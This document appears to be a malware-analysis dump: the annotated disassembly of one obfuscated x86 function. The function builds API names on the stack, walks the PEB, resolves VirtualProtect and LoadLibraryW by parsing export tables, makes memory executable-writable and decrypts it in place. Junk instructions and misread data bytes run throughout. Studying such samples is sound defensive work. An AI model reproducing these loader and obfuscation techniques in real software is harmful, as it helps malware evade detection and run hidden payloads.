Function at 0x509e72
Capabilities:
Resolve function by parsing pe exports

Disassembly:
add esp, 4
pop edi
cmp dword [ebp - 0x3cc], 0
je 0x5094c4
cmp dword [ebp - 0xa5c], 0
jne 0x50950a
push ebx
jmp 0x5094cb
sub ebx, 0x1764d
sub ebx, 0x4bc9
pop ebx
push edx
push ecx
add esp, 4
call 0x5094ec
add byte [esi], dh
inc esi
xor ecx, dword [edi + 0x42]
aaa
dec ebx
inc eax
add esp, 4
add edx, 0x2679
pop edx
mov edx, dword [ebp - 0x738]
mov dword [ebp - 0x18d0], edx
push 0
call dword [ebp - 0x18d0]
mov dword [ebp - 0x1fb0], 0xa
push ebx
push edx
add esp, 4
add ebx, 0x35d8
pop ebx
push edx
push edx
add esp, 4
xor edx, 0x1a18
add edx, 0x7eba
pop edx
push esi
add esi, 0x18535
sub esi, 0x1be4
xor esi, 0x17895
pop esi
mov eax, dword [ebp - 0x3cc]
mov cl, byte [eax + 0xa]
mov byte [ebp - 0x381], cl
mov edx, dword [ebp - 0xa5c]
sub edx, dword [ebp - 0x3cc]
mov dword [ebp - 0x158c], edx
mov dword [ebp - 0xc70], 0
push edi
push edi
add esp, 4
and edi, 0xcc5
or edi, 0xdce6
pop edi
push eax
push edx
add esp, 4
sub eax, 0xd13d
jmp 0x509595
xor eax, 0x13357
jmp 0x5095a2
pop eax
mov byte [ebp - 0x960], 0x56
mov byte [ebp - 0x95f], 0x69
mov byte [ebp - 0x95e], 0x72
mov byte [ebp - 0x95d], 0x74
mov byte [ebp - 0x95c], 0x75
mov byte [ebp - 0x95b], 0x61
mov byte [ebp - 0x95a], 0x6c
mov byte [ebp - 0x959], 0x50
mov byte [ebp - 0x958], 0x72
mov byte [ebp - 0x957], 0x6f
mov byte [ebp - 0x956], 0x74
mov byte [ebp - 0x955], 0x65
mov byte [ebp - 0x954], 0x63
mov byte [ebp - 0x953], 0x74
mov byte [ebp - 0x952], 0
push ecx
xor ecx, 0x125cc
add ecx, 0x5649
sub ecx, 0x14918
pop ecx
push eax
push ecx
add esp, 4
jmp 0x50962b
sub eax, 0x129d7
and eax, 0x1606d
add eax, 0x3dbc
pop eax
mov eax, dword fs:[0x18]
mov dword [ebp - 0x1c34], eax
mov ecx, dword [ebp - 0x1c34]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x18d4], edx
mov eax, dword [ebp - 0x18d4]
mov dword [ebp - 0x150c], eax
push edx
push edx
add esp, 4
add edx, 0x8eab
xor edx, 0xb884
pop edx
push ebx
call 0x509687
add byte [eax + 0x41], dl
aaa
dec edi
xor al, 0x40
cmp dword [ebx - 0x7d], eax
les eax, [ecx + eax*4]
ror dword [ecx - 0x147f0000], 0xb6
mov eax, dword [0x835b0000]
mov ebp, 0xffffeaf4
add byte [ebp + 0xf], dh
mov dword [ebp - 0x2a8], 0
jmp 0x509956
push eax
push eax
add esp, 4
jmp 0x509963
sub eax, 0x110f5
pop eax
push eax
sub eax, 0x6ac4
call 0x50997e
add byte [edx + 0x44], al
cmp bh, byte [edi]
dec edx
inc ecx
dec edx
add esp, 4
or eax, 0x14cea
pop eax
cmp dword [ebp - 0x2a8], 0
jne 0x50a28d
mov eax, 0x6b
mov word [ebp - 0x16e8], ax
mov ecx, 0x65
mov word [ebp - 0x16e6], cx
mov edx, 0x72
mov word [ebp - 0x16e4], dx
mov eax, 0x6e
mov word [ebp - 0x16e2], ax
mov ecx, 0x65
mov word [ebp - 0x16e0], cx
mov edx, 0x6c
mov word [ebp - 0x16de], dx
mov eax, 0x33
mov word [ebp - 0x16dc], ax
mov ecx, 0x32
mov word [ebp - 0x16da], cx
mov edx, 0x2e
mov word [ebp - 0x16d8], dx
mov eax, 0x64
mov word [ebp - 0x16d6], ax
mov ecx, 0x6c
mov word [ebp - 0x16d4], cx
mov edx, 0x6c
mov word [ebp - 0x16d2], dx
xor eax, eax
mov word [ebp - 0x16d0], ax
push ecx
push eax
add esp, 4
or ecx, 0x6006
call 0x509a45
add byte [ecx], bh
aas
xor al, 0x3d
cmp al, byte [edx - 0x7d]
les eax, [ecx + eax*4]
leave
movsd dword es:[edi], dword [esi]
ja 0x509a4d
add al, ch
or dword [eax], eax
add byte [eax], al
add byte [ebx + eax*2], bh
aaa
xor eax, dword [esi + 0x48]
xor eax, 0x5904c483
mov byte [ebp - 0x830], 0x4c
mov byte [ebp - 0x82f], 0x6f
mov byte [ebp - 0x82e], 0x61
mov byte [ebp - 0x82d], 0x64
mov byte [ebp - 0x82c], 0x4c
mov byte [ebp - 0x82b], 0x69
mov byte [ebp - 0x82a], 0x62
mov byte [ebp - 0x829], 0x72
mov byte [ebp - 0x828], 0x61
mov byte [ebp - 0x827], 0x72
mov byte [ebp - 0x826], 0x79
mov byte [ebp - 0x825], 0x57
mov byte [ebp - 0x824], 0
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x18d8], ecx
mov edx, dword [ebp - 0x18d8]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x18dc], eax
mov ecx, dword [ebp - 0x18dc]
mov dword [ebp - 0x1518], ecx
push ecx
or ecx, 0x2362
call 0x509af9
add byte [ebx], dh
dec ecx
dec ebx
inc esi
dec edi
xor bh, byte [0xc483394a]
add al, 0x59
push ebx
push esi
add esp, 4
add ebx, 0x12a8a
pop ebx
push edi
push ecx
add esp, 4
xor edi, 0x13253
pop edi
cmp dword [ebp - 0x1518], 0
jne 0x509b2d
mov dword [ebp - 0x710], 0
jmp 0x509dd4
mov edx, dword [ebp - 0x1518]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xc58], ecx
push ecx
call 0x509b4d
add byte [ebx + 0x45], cl
dec edi
cmp esi, dword [eax + edi]
cmp byte [ebx - 0xe7efb3c], al
fist word [edx]
add dword [eax], eax
or ecx, 0x5a20
pop ecx
push ecx
xor ecx, 0x148f0
pop ecx
push eax
push esi
add esp, 4
sub eax, 0x15c4f
pop eax
cmp dword [ebp - 0xc58], 0
jne 0x509b89
mov dword [ebp - 0x710], 0
jmp 0x509dd4
mov edx, dword [ebp - 0xc58]
mov dword [ebp - 0x4e8], edx
push edi
push ecx
add esp, 4
sub edi, 0x1673f
and edi, 0x71c4
add edi, 0xb196
pop edi
push ecx
jmp 0x509bb4
call 0x509bc3
add byte [ebx + 0x48], cl
xor eax, 0x324c334e
dec ebp
dec ebp
add esp, 4
pop ecx
lea eax, [ebp - 0x16e8]
mov dword [ebp - 0xc54], eax
mov ecx, dword [ebp - 0x4e8]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0xc50], edx
xor eax, eax
mov word [ebp - 0x208], ax
xor ecx, ecx
mov word [ebp - 0x3c], cx
push eax
add eax, 0x12115
add eax, 0x8122
sub eax, 0xf7d6
sub eax, 0x12ffd
pop eax
push edi
push eax
add esp, 4
xor edi, 0xeba8
or edi, 0x7085
xor edi, 0x102c7
pop edi
mov edx, dword [ebp - 0xc50]
mov ax, word [edx]
mov word [ebp - 0xf8e], ax
mov ecx, dword [ebp - 0xc50]
add ecx, 2
mov dword [ebp - 0xc50], ecx
mov dx, word [ebp - 0xf8e]
mov word [ebp - 0x208], dx
mov eax, dword [ebp - 0xc54]
mov cx, word [eax]
mov word [ebp - 0xf90], cx
mov edx, dword [ebp - 0xc54]
add edx, 2
mov dword [ebp - 0xc54], edx
mov ax, word [ebp - 0xf90]
mov word [ebp - 0x3c], ax
push ecx
push eax
add esp, 4
or ecx, 0x1782f
xor ecx, 0x13d0c
jmp 0x509c91
or ecx, 0xafb6
pop ecx
push eax
jmp 0x509c9f
pop eax
push ebx
push edx
add esp, 4
xor ebx, 0x1673d
pop ebx
movzx ecx, word [ebp - 0x3c]
test ecx, ecx
jne 0x509cc9
movzx edx, word [ebp - 0x208]
movzx eax, word [ebp - 0x3c]
sub edx, eax
mov dword [ebp - 0x1560], edx
jmp 0x509d23
movzx ecx, word [ebp - 0x208]
movzx edx, word [ebp - 0x3c]
cmp ecx, edx
je 0x509bf1
movzx eax, word [ebp - 0x208]
xor eax, 0x20
movzx ecx, word [ebp - 0x3c]
cmp eax, ecx
je 0x509bf1
movzx edx, word [ebp - 0x208]
movzx eax, word [ebp - 0x3c]
cmp edx, eax
jge 0x509d0d
mov dword [ebp - 0x151c], 0xffffffff
jmp 0x509d17
mov dword [ebp - 0x151c], 1
mov ecx, dword [ebp - 0x151c]
mov dword [ebp - 0x1560], ecx
cmp dword [ebp - 0x1560], 0
jne 0x509d6c
push esi
push ecx
add esp, 4
xor esi, 0x1afa
or esi, 0x268c
and esi, 0xfc34
pop esi
push eax
push edi
add esp, 4
add eax, 0x7486
pop eax
push eax
add eax, 0x1711f
xor eax, 0xc56
pop eax
mov edx, dword [ebp - 0x4e8]
mov dword [ebp - 0x710], edx
jmp 0x509dd4
push edi
xor edi, 0x12a14
call 0x509d80
add byte [ebx + 0x40], al
cmp bh, byte [0x834f444b]
les eax, [ecx + eax*4]
out dx, eax
test byte [ebp], al
add bl, ch
add al, 0x35
dec edx
xor eax, 0x81515f43
loope 0x509d9d
lcall 0x745f, 0xe9810000
add dword [eax], eax
pop ecx
mov eax, dword [ebp - 0x4e8]
mov ecx, dword [eax]
mov dword [ebp - 0x4e8], ecx
mov edx, dword [ebp - 0x4e8]
cmp edx, dword [ebp - 0xc58]
je 0x509dca
mov eax, dword [ebp - 0x4e8]
cmp dword [eax + 0x30], 0
jne 0x509b95
mov dword [ebp - 0x710], 0
push edi
push ecx
add esp, 4
or edi, 0xa5a5
pop edi
push ecx
push edx
add esp, 4
xor ecx, 0xddd8
or ecx, 0x7765
jmp 0x509df9
pop ecx
push ecx
push eax
add esp, 4
add ecx, 0x2c8
pop ecx
cmp dword [ebp - 0x710], 0
jne 0x509e50
push ecx
jmp 0x509e17
jmp 0x509e20
xor ecx, 0xb5e5
pop ecx
push esi
push eax
add esp, 4
and esi, 0x12dd1
pop esi
push eax
xor eax, 0x1100
add eax, 0x5a03
pop eax
mov dword [ebp - 0xa58], 0
jmp 0x50a978
push edx
sub edx, 0x10af3
or edx, 0x4617
pop edx
push edi
push esi
add esp, 4
call 0x509e72
add byte [ebx + 0x4b], al
inc eax
dec edi
cmp ecx, dword [eax + 0x32]
aas
inc edi
add esp, 4
and edi, 0xac96
xor edi, 0x6fd1
pop edi
mov ecx, dword [ebp - 0x710]
mov edx, dword [ecx + 0x18]
mov dword [ebp - 0x300], edx
mov dword [ebp - 0x720], 0
mov eax, dword [ebp - 0x300]
mov dword [ebp - 0x1564], eax
cmp dword [ebp - 0x1564], 0
jne 0x509ec1
mov ecx, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], ecx
jmp 0x50a1b2
mov edx, dword [ebp - 0x1564]
mov eax, dword [ebp - 0x300]
add eax, dword [edx + 0x3c]
mov dword [ebp - 0x1568], eax
jne 0x509ee9
mov ecx, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], ecx
jmp 0x50a1b2
mov edx, 8
imul eax, edx, 0
mov ecx, dword [ebp - 0x1568]
mov edx, dword [ecx + eax + 0x78]
mov dword [ebp - 0x1570], edx
cmp dword [ebp - 0x1570], 0
jne 0x509f1b
mov eax, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], eax
jmp 0x50a1b2
mov ecx, dword [ebp - 0x300]
add ecx, dword [ebp - 0x1570]
mov dword [ebp - 0x714], ecx
jne 0x509f40
mov edx, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], edx
jmp 0x50a1b2
mov eax, dword [ebp - 0x714]
mov ecx, dword [ebp - 0x300]
add ecx, dword [eax + 0x20]
mov dword [ebp - 0x18e0], ecx
mov edx, dword [ebp - 0x714]
mov eax, dword [ebp - 0x300]
add eax, dword [edx + 0x24]
mov dword [ebp - 0x18e4], eax
mov ecx, dword [ebp - 0x714]
mov edx, dword [ebp - 0x300]
add edx, dword [ecx + 0x1c]
mov dword [ebp - 0x18e8], edx
mov dword [ebp - 0x718], 0
jmp 0x509f9a
mov eax, dword [ebp - 0x718]
add eax, 1
mov dword [ebp - 0x718], eax
mov ecx, dword [ebp - 0x714]
mov edx, dword [ebp - 0x718]
cmp edx, dword [ecx + 0x18]
jae 0x50a1a6
mov eax, dword [ebp - 0x718]
mov ecx, dword [ebp - 0x18e0]
mov edx, dword [ebp - 0x300]
add edx, dword [ecx + eax*4]
mov dword [ebp - 0x71c], edx
mov eax, dword [ebp - 0x718]
mov ecx, dword [ebp - 0x18e4]
movzx edx, word [ecx + eax*2]
mov eax, dword [ebp - 0x18e8]
mov ecx, dword [ebp - 0x300]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x18ec], ecx
mov dword [ebp - 0x188], 0
jmp 0x50a00a
mov edx, dword [ebp - 0x188]
add edx, 1
mov dword [ebp - 0x188], edx
mov eax, dword [ebp - 0x71c]
add eax, dword [ebp - 0x188]
movsx ecx, byte [eax]
test ecx, ecx
je 0x50a0bc
mov edx, dword [ebp - 0x188]
movsx eax, byte [ebp + edx - 0x830]
test eax, eax
je 0x50a0bc
push ebx
and ebx, 0xcc6b
and ebx, 0xb923
sub ebx, 0x3ba2
pop ebx
push ebx
push edi
add esp, 4
sub ebx, 0x14308
or ebx, 0x93f9
jmp 0x50a062
or ebx, 0x2b0c
pop ebx
mov ecx, dword [ebp - 0x71c]
add ecx, dword [ebp - 0x188]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x188]
movsx ecx, byte [ebp + eax - 0x830]
cmp edx, ecx
je 0x50a0ae
mov edx, dword [ebp - 0x71c]
add edx, dword [ebp - 0x188]
movsx eax, byte [edx]
xor eax, 0x20
mov ecx, dword [ebp - 0x188]
movsx edx, byte [ebp + ecx - 0x830]
cmp eax, edx
jne 0x50a0b5
jmp 0x509ffb
jmp 0x50a0bc
push edi
and edi, 0xa59f
pop edi
push ebx
push edi
add esp, 4
and ebx, 0x13a96
add ebx, 0x15bc
pop ebx
push edx
push ebx
add esp, 4
jmp 0x50a0e1
xor edx, 0x882
add edx, 0xd475
pop edx
mov eax, dword [ebp - 0x71c]
add eax, dword [ebp - 0x188]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x188]
movsx eax, byte [ebp + edx - 0x830]
cmp ecx, eax
jne 0x50a11b
mov dword [ebp - 0xc5c], 0
jmp 0x50a18a
push eax
and eax, 0xd238
and eax, 0x10c66
pop eax
push ebx
push ebx
add esp, 4
call 0x50a13e
add byte [ebx], dh
dec esp
dec ebx
inc eax
inc edx
cmp ecx, dword [ebx + 0x38]
inc eax
add esp, 4
xor ebx, 0xca36
jmp 0x50a14c
pop ebx
mov ecx, dword [ebp - 0x71c]
add ecx, dword [ebp - 0x188]
movsx edx, byte [ecx]
or edx, 0x20
mov eax, dword [ebp - 0x188]
movsx ecx, byte [ebp + eax - 0x830]
or ecx, 0x20
cmp edx, ecx
jge 0x50a180
mov dword [ebp - 0xc5c], 0xffffffff
jmp 0x50a18a
mov dword [ebp - 0xc5c], 1
cmp dword [ebp - 0xc5c], 0
jne 0x50a1a1
mov edx, dword [ebp - 0x18ec]
mov dword [ebp - 0x3c8], edx
jmp 0x50a1b2
jmp 0x509f8b
mov eax, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], eax
cmp dword [ebp - 0x3c8], 0
je 0x50a28d
push ebx
add ebx, 0xa3ad
or ebx, 0x23ed
sub ebx, 0xb70b
add ebx, 0x8301
pop ebx
push ebx
push esi
add esp, 4
xor ebx, 0x1799c
sub ebx, 0x6a75
and ebx, 0x76d6
pop ebx
mov ecx, dword [ebp - 0x3c8]
mov dword [ebp - 0x18f0], ecx
push esi
add esi, 0x13eb7
xor esi, 0x22e8
sub esi, 0x58ce
pop esi
push edi
push eax
add esp, 4
or edi, 0x3d99
add edi, 0xc441
and edi, 0xd399
sub edi, 0xd53f
pop edi
mov edx, dword [ebp - 0x18f0]
mov dword [ebp - 0x18f4], edx
lea eax, [ebp - 0x1628]
push eax
call dword [ebp - 0x18f4]
test eax, eax
jne 0x50a28d
push eax
and eax, 0x52e7
call 0x50a262
add byte [esi + edi + 0x4f], cl
inc edx
xor eax, 0x4943463e
add esp, 4
pop eax
push edi
call 0x50a274
add byte [edx + 0x41], cl
cmp dword [ecx + 0x48], ecx
dec ecx
add esp, 4
add edi, 0x33b
pop edi
mov dword [ebp - 0xa58], 0
jmp 0x50a978
push esi
push eax
add esp, 4
xor esi, 0x82b0
pop esi
push edi
add edi, 0x104ab
pop edi
push eax
push edi
add esp, 4
xor eax, 0xe30
or eax, 0x33d1
xor eax, 0xc839
and eax, 0x13dd9
pop eax
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x18f8], ecx
mov edx, dword [ebp - 0x18f8]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x18fc], eax
mov ecx, dword [ebp - 0x18fc]
mov dword [ebp - 0x1574], ecx
push edx
push edx
add esp, 4
call 0x50a2fa
add byte [eax + 0x36], dl
inc esi
cmp dword [ecx + 0x4f], eax
dec eax
cmp eax, 0xeb04c483
pop es
aaa
dec esi
xor eax, 0x50433232
sub edx, 0xfe97
pop edx
push esi
push eax
add esp, 4
sub esi, 0x3805
pop esi
cmp dword [ebp - 0x1574], 0
jne 0x50a331
mov dword [ebp - 0x2a8], 0
jmp 0x50a5d8
mov edx, dword [ebp - 0x1574]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xc68], ecx
push ebx
add ebx, 0x14888
sub ebx, 0x741c
sub ebx, 0x7ab5
pop ebx
push eax
push ebx
add esp, 4
xor eax, 0x13ceb
sub eax, 0x486e
add eax, 0xa9c6
add eax, 0x10102
pop eax
cmp dword [ebp - 0xc68], 0
jne 0x50a38d
mov dword [ebp - 0x2a8], 0
jmp 0x50a5d8
mov edx, dword [ebp - 0xc68]
mov dword [ebp - 0x4ec], edx
push eax
sub eax, 0xfedc
add eax, 0xf919
pop eax
push esi
push ebx
add esp, 4
sub esi, 0x1c71
jmp 0x50a3b9
pop esi
push eax
jmp 0x50a3c2
pop eax
push edx
or edx, 0x6fe6
pop edx
lea eax, [ebp - 0x1628]
mov dword [ebp - 0xc64], eax
mov ecx, dword [ebp - 0x4ec]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0xc60], edx
xor eax, eax
mov word [ebp - 0x20c], ax
xor ecx, ecx
mov word [ebp - 0x40], cx
push ebx
push edi
add esp, 4
jmp 0x50a402
sub ebx, 0x32ef
sub ebx, 0x8428
add ebx, 0x7713
pop ebx
push ecx
call 0x50a423
add byte [ebp + 0x3a], al
inc edx
inc esi
aaa
dec ebx
add esp, 4
pop ecx
mov edx, dword [ebp - 0xc60]
mov ax, word [edx]
mov word [ebp - 0xf92], ax
mov ecx, dword [ebp - 0xc60]
add ecx, 2
mov dword [ebp - 0xc60], ecx
mov dx, word [ebp - 0xf92]
mov word [ebp - 0x20c], dx
mov eax, dword [ebp - 0xc64]
mov cx, word [eax]
mov word [ebp - 0xf94], cx
mov edx, dword [ebp - 0xc64]
add edx, 2
mov dword [ebp - 0xc64], edx
mov ax, word [ebp - 0xf94]
mov word [ebp - 0x40], ax
push esi
and esi, 0x9b1a
call 0x50a494
add byte [ecx + 0x4f], cl
xor edx, dword [eax + 0x46]
cmp byte [ebx], dh
push eax
dec edx
add esp, 4
pop esi
push edi
push edi
add esp, 4
or edi, 0x14135
and edi, 0x8d68
add edi, 0x17aa3
pop edi
movzx ecx, word [ebp - 0x40]
test ecx, ecx
jne 0x50a4cd
movzx edx, word [ebp - 0x20c]
movzx eax, word [ebp - 0x40]
sub edx, eax
mov dword [ebp - 0x157c], edx
jmp 0x50a527
movzx ecx, word [ebp - 0x20c]
movzx edx, word [ebp - 0x40]
cmp ecx, edx
je 0x50a3f5
movzx eax, word [ebp - 0x20c]
xor eax, 0x20
movzx ecx, word [ebp - 0x40]
cmp eax, ecx
je 0x50a3f5
movzx edx, word [ebp - 0x20c]
movzx eax, word [ebp - 0x40]
cmp edx, eax
jge 0x50a511
mov dword [ebp - 0x1578], 0xffffffff
jmp 0x50a51b
mov dword [ebp - 0x1578], 1
mov ecx, dword [ebp - 0x1578]
mov dword [ebp - 0x157c], ecx
cmp dword [ebp - 0x157c], 0
jne 0x50a570
push esi
push edx
add esp, 4
jmp 0x50a53a
call 0x50a546
add byte [edi], dh
dec edi
cmp al, 0x3e
aas
inc esp
add esp, 4
pop esi
push ecx
push edi
add esp, 4
or ecx, 0xd143
and ecx, 0x16857
and ecx, 0xdbe
pop ecx
mov edx, dword [ebp - 0x4ec]
mov dword [ebp - 0x2a8], edx
jmp 0x50a5d8
push edx
sub edx, 0x51a8
sub edx, 0x1527f
pop edx
push ecx
push esi
add esp, 4
xor ecx, 0x172b9
sub ecx, 0x571b
pop ecx
push edi
call 0x50a59e
add byte [edx], bh
cmp eax, 0x3f343e3d
dec eax
add esp, 4
pop edi
mov eax, dword [ebp - 0x4ec]
mov ecx, dword [eax]
mov dword [ebp - 0x4ec], ecx
mov edx, dword [ebp - 0x4ec]
cmp edx, dword [ebp - 0xc68]
je 0x50a5ce
mov eax, dword [ebp - 0x4ec]
cmp dword [eax + 0x30], 0
jne 0x50a399
mov dword [ebp - 0x2a8], 0
push edi
xor edi, 0x128ea
xor edi, 0x3a91
sub edi, 0xa307
or edi, 0x3a98
pop edi
push ecx
push edx
add esp, 4
call 0x50a606
add byte [ebx], bh
dec eax
xor al, 0x47
dec esp
inc edx
cmp eax, 0xc4834432
add al, 0x59
mov ecx, dword [ebp - 0x2a8]
mov edx, dword [ecx + 0x18]
mov dword [ebp - 0x304], edx
push esi
push esi
add esp, 4
sub esi, 0x11259
pop esi
push edi
push ecx
add esp, 4
and edi, 0x129d8
add edi, 0x1400f
and edi, 0x1804e
pop edi
push esi
xor esi, 0xd76
and esi, 0xe62e
pop esi
mov dword [ebp - 0x730], 0
mov eax, dword [ebp - 0x304]
mov dword [ebp - 0x1580], eax
cmp dword [ebp - 0x1580], 0
jne 0x50a67b
mov ecx, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], ecx
jmp 0x50a96c
mov edx, dword [ebp - 0x1580]
mov eax, dword [ebp - 0x304]
add eax, dword [edx + 0x3c]
mov dword [ebp - 0x1584], eax
jne 0x50a6a3
mov ecx, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], ecx
jmp 0x50a96c
mov edx, 8
imul eax, edx, 0
mov ecx, dword [ebp - 0x1584]
mov edx, dword [ecx + eax + 0x78]
mov dword [ebp - 0x1588], edx
cmp dword [ebp - 0x1588], 0
jne 0x50a6d5
mov eax, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], eax
jmp 0x50a96c
mov ecx, dword [ebp - 0x304]
add ecx, dword [ebp - 0x1588]
mov dword [ebp - 0x724], ecx
jne 0x50a6fa
mov edx, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], edx
jmp 0x50a96c
mov eax, dword [ebp - 0x724]
mov ecx, dword [ebp - 0x304]
add ecx, dword [eax + 0x20]
mov dword [ebp - 0x1900], ecx
mov edx, dword [ebp - 0x724]
mov eax, dword [ebp - 0x304]
add eax, dword [edx + 0x24]
mov dword [ebp - 0x1904], eax
mov ecx, dword [ebp - 0x724]
mov edx, dword [ebp - 0x304]
add edx, dword [ecx + 0x1c]
mov dword [ebp - 0x1908], edx
mov dword [ebp - 0x728], 0
jmp 0x50a754
mov eax, dword [ebp - 0x728]
add eax, 1
mov dword [ebp - 0x728], eax
mov ecx, dword [ebp - 0x724]
mov edx, dword [ebp - 0x728]
cmp edx, dword [ecx + 0x18]
jae 0x50a960
mov eax, dword [ebp - 0x728]
mov ecx, dword [ebp - 0x1900]
mov edx, dword [ebp - 0x304]
add edx, dword [ecx + eax*4]
mov dword [ebp - 0x72c], edx
mov eax, dword [ebp - 0x728]
mov ecx, dword [ebp - 0x1904]
movzx edx, word [ecx + eax*2]
mov eax, dword [ebp - 0x1908]
mov ecx, dword [ebp - 0x304]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x190c], ecx
mov dword [ebp - 0x18c], 0
jmp 0x50a7c4
mov edx, dword [ebp - 0x18c]
add edx, 1
mov dword [ebp - 0x18c], edx
mov eax, dword [ebp - 0x72c]
add eax, dword [ebp - 0x18c]
movsx ecx, byte [eax]
test ecx, ecx
je 0x50a876
mov edx, dword [ebp - 0x18c]
movsx eax, byte [ebp + edx - 0x960]
test eax, eax
je 0x50a876
push edx
sub edx, 0x955
add edx, 0x17332
xor edx, 0x10f54
or edx, 0x9720
pop edx
push ecx
add ecx, 0x3aea
call 0x50a81f
add byte [ebx], dh
inc edx
dec esi
aas
xor eax, 0xc4834a4c
add al, 0x59
mov ecx, dword [ebp - 0x72c]
add ecx, dword [ebp - 0x18c]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x18c]
movsx ecx, byte [ebp + eax - 0x960]
cmp edx, ecx
je 0x50a868
mov edx, dword [ebp - 0x72c]
add edx, dword [ebp - 0x18c]
movsx eax, byte [edx]
xor eax, 0x20
mov ecx, dword [ebp - 0x18c]
movsx edx, byte [ebp + ecx - 0x960]
cmp eax, edx
jne 0x50a86f
jmp 0x50a7b5
jmp 0x50a876
push edi
jmp 0x50a87d
add edi, 0x9fe8
pop edi
push edi
xor edi, 0x5587
jmp 0x50a890
add edi, 0x179df
call 0x50a8a4
add byte [edx], bh
xor eax, 0x4f404249
aaa
xor al, 0x83
les eax, [edi + ebx*2]
mov eax, dword [ebp - 0x72c]
add eax, dword [ebp - 0x18c]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x18c]
movsx eax, byte [ebp + edx - 0x960]
cmp ecx, eax
jne 0x50a8d5
mov dword [ebp - 0xc6c], 0
jmp 0x50a944
push ecx
push ecx
add esp, 4
add ecx, 0x6214
pop ecx
push ebx
push ecx
add esp, 4
or ebx, 0x1509d
add ebx, 0x51b3
pop ebx
push ebx
xor ebx, 0xa9b4
pop ebx
push eax
push esi
add esp, 4
xor eax, 0x143c6
pop eax
mov ecx, dword [ebp - 0x72c]
add ecx, dword [ebp - 0x18c]
movsx edx, byte [ecx]
or edx, 0x20
mov eax, dword [ebp - 0x18c]
movsx ecx, byte [ebp + eax - 0x960]
or ecx, 0x20
cmp edx, ecx
jge 0x50a93a
mov dword [ebp - 0xc6c], 0xffffffff
jmp 0x50a944
mov dword [ebp - 0xc6c], 1
cmp dword [ebp - 0xc6c], 0
jne 0x50a95b
mov edx, dword [ebp - 0x190c]
mov dword [ebp - 0x4f0], edx
jmp 0x50a96c
jmp 0x50a745
mov eax, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], eax
mov ecx, dword [ebp - 0x4f0]
mov dword [ebp - 0xa58], ecx
push edi
push esi
add esp, 4
xor edi, 0xb66b
or edi, 0xfaaf
pop edi
push esi
jmp 0x50a991
add esi, 0x93e
or esi, 0x6453
pop esi
push edx
push edx
add esp, 4
jmp 0x50a9a9
pop edx
mov edx, dword [ebp - 0xa58]
mov dword [ebp - 0x1910], edx
lea eax, [ebp - 0xc70]
push eax
push 0x40
mov ecx, dword [ebp - 0x158c]
push ecx
mov edx, dword [ebp - 0x3cc]
push edx
call dword [ebp - 0x1910]
test eax, eax
jne 0x50aa1d
push ebx
xor ebx, 0xcd9c
or ebx, 0x101e8
pop ebx
push eax
and eax, 0x17aa4
pop eax
push ebx
sub ebx, 0xec9d
pop ebx
push ecx
add ecx, 0x9ba8
pop ecx
push edi
push edi
add esp, 4
xor edi, 0x12903
pop edi
mov eax, dword [ebp - 0x738]
mov dword [ebp - 0x1914], eax
push 0
call dword [ebp - 0x1914]
mov ecx, dword [ebp - 0x1918]
mov dword [ebp - 0x734], ecx
jmp 0x50aa3a
mov edx, dword [ebp - 0x734]
add edx, 1
mov dword [ebp - 0x734], edx
mov eax, dword [ebp - 0x734]
cmp eax, dword [ebp - 0xa5c]
jae 0x50aa96
push esi
xor esi, 0x10afe
add esi, 0x16614
call 0x50aa64
add byte [ebx], bh
xor al, 0x42
dec ebx
dec ecx
xor dh, byte [edx]
cmp byte [edi - 0x7d], cl
les eax, [esi + ebx*2]
push edi
push edi
add esp, 4
sub edi, 0x11287
sub edi, 0x1665e
pop edi
movzx ecx, byte [ebp - 0x381]
mov edx, dword [ebp - 0x734]
movsx eax, byte [edx]
sub eax, ecx
mov ecx, dword [ebp - 0x734]
mov byte [ecx], al
jmp 0x50aa2b
mov edx, dword [ebp - 0xa58]
mov dword [ebp - 0x191c], edx
lea eax, [ebp - 0xc70]
push eax
mov ecx, dword [ebp - 0xc70]
push ecx
mov edx, dword [ebp - 0x158c]
push edx
mov eax, dword [ebp - 0x3cc]
push eax
call dword [ebp - 0x191c]
test eax, eax
jne 0x50ab0e
push eax
push ebx
add esp, 4
and eax, 0x5249
or eax, 0x11e2b
pop eax
push ecx
add ecx, 0xdc66
or ecx, 0xb436
or ecx, 0x5890
pop ecx
push esi
push ebx
add esp, 4
sub esi, 0x35b6
pop esi
mov ecx, dword [ebp - 0x738]
mov dword [ebp - 0x1920], ecx
push 0
call dword [ebp - 0x1920]
push esi
or esi, 0x4608
add esi, 0x937d
and esi, 0x40e9
pop esi
push ebx
push esi
add esp, 4
sub ebx, 0xe65f
jmp 0x50ab33
xor ebx, 0x1119c
xor ebx, 0x11227
pop ebx
push edx
mov ecx, 0x10101010
pop edx
push ecx
mov ecx, 0xffff06ff
pop ecx
pop esp
pop esp
mov edx, ecx
or al, byte [edi + 0x71fc2d4]
push es
xchg esp, edx
ja 0x50ab8f
push es
push es
xchg esp, esi
sal dword [esi + eax], 1
push es
pop ebp
pop ecx
mov edx, ecx
or al, byte [edi + 0x72ea2d5]
push es
int1
or al, 0x3b
inc ebp
dec edx
push edx
dec esi
cmp dword [edi + 0x612a8fd], eax
push es
sal byte gs:[ecx + 6], 6
push es
